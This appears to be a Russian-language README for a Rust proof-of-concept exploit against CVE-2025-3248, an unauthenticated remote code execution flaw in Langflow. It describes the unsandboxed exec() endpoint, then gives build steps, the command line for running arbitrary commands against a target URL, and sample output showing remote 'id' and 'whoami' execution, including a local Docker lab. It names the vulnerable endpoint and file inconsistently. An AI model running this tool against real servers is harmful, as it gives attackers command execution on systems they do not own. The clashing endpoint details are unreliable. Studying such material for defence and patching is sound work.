
Эксплойт на основе Rust для CVE-2025-3248, критической неаутентифицированной RCE в Langflow через /api/v1/validate/code, позволяющий произвольное выполнение команд.
⚠️ Отказ от ответственности
Этот код предназначен строго для образовательных и исследовательских целей. Несанкционированное использование в системах без явного разрешения может представлять собой нарушение закона.
Автор не несет ответственности за любое неправомерное использование или вредоносную деятельность, связанную с этим инструментом.
CVE-2025-3248 - Критическая
CVSS Score: 9.8 | EPSS Score: 92.57% | Опубликовано: 22 мая 2025 г.
Конечная точка /api/v1/validate/code принимает несанитизированный код Python и выполняет его напрямую с помощью exec(), не требуя аутентификации.
# langflow/api/builder/execute.py
exec(code) # No input validation or sandboxing!
Langflow предоставляет конечную точку /api/v1/builder/execute_code, которая принимает предоставленный пользователем код Python и передает его напрямую в exec() на серверной части. Поскольку отсутствует аутентификация или изоляция, злоумышленники могут создавать произвольные полезные нагрузки для выполнения кода.
# Clone repository
git clone <repo-url>
cd CVE-2025-3248-POC
cargo build --release
# ./target/release/CVE-2025-3248-POC
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"
❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860,
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)
> cd lab
> sudo docker-compose up -d
> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'
> sudo docker-compose down